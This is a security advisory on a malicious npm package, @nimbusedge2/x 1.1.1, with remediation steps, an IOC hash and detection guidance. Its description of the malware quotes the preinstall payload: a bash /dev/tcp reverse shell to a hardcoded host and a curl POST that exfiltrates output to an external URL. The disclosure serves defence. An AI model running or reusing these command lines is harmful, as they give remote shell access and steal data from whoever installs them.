Which versions of @nimbusedge2/x are malicious?

The following npm versions of @nimbusedge2/x are flagged malicious: 1.1.1. Treat any of these as compromised.

How do I remediate @nimbusedge2/x if I installed it?

@nimbusedge2/x is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.

I already installed @nimbusedge2/x — how do I know if it already compromised me?

If @nimbusedge2/x was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Is @nimbusedge2/x part of a known attack campaign?

Yes — @nimbusedge2/x is associated with the IN-MAL-2026-020197 campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

How do I find @nimbusedge2/x across my projects, lockfiles, and CI pipelines?

Search your lockfiles and build artifacts for @nimbusedge2/x (version 1.1.1).

Malicious package

@nimbusedge2/xnpm

Advisory published Sep 21, 2026Updated Sep 21, 2026

@nimbusedge2/x is a confirmed malicious npm package (MAL-2026-16305) that steals credentials and exfiltrates sensitive data (malicious version 1.1.1). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in @nimbusedge2/x (npm)

MAL-2026-16305

Immediate action

Remove the package, then rotate any secrets the build/runtime could reach.

npm uninstall @nimbusedge2/x

What this malware does

package.json declares a preinstall lifecycle script that runs automatically on npm install. The script invokes bash -i >& /dev/tcp/147.93.157.202.nip.io/8080 to open an interactive reverse shell to a hardcoded IP-based host (147.93.157.202 via nip.io) on port 8080, and pipes activity through curl -s -m 5 -X POST --data-binary @- http://canarytokens.com/terms/7dc94zmd3so67n5vbz5bxmt7v/contact.php, an install-time cleartext-HTTP beacon to an external endpoint. The reverse shell grants the remote endpoint interactive command execution on the installer's host at install time; the paired POST exfiltrates output to a hardcoded external URL. No legitimate functionality is shipped alongside these actions.

Malicious versions

1 flagged

1.1.1

Indicators of compromise (SHA-256)

45d678f278cdb8171d7ac41ffa9f50b57ccb508dfa5a64bec6430efa17b2662e

Detection & response playbook

Credential / info stealer

Find it
Search your lockfiles and build artifacts for @nimbusedge2/x (version 1.1.1).
If you installed it — respond
@nimbusedge2/x is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.
Did it already run?
If @nimbusedge2/x was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Frequently asked questions

No. @nimbusedge2/x on npm has been identified as a malicious package (version 1.1.1 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-020197

References

npmjs.com

Credits

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Detect & block this

O3 blocks @nimbusedge2/x-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the credential exfiltration and severs the channel.

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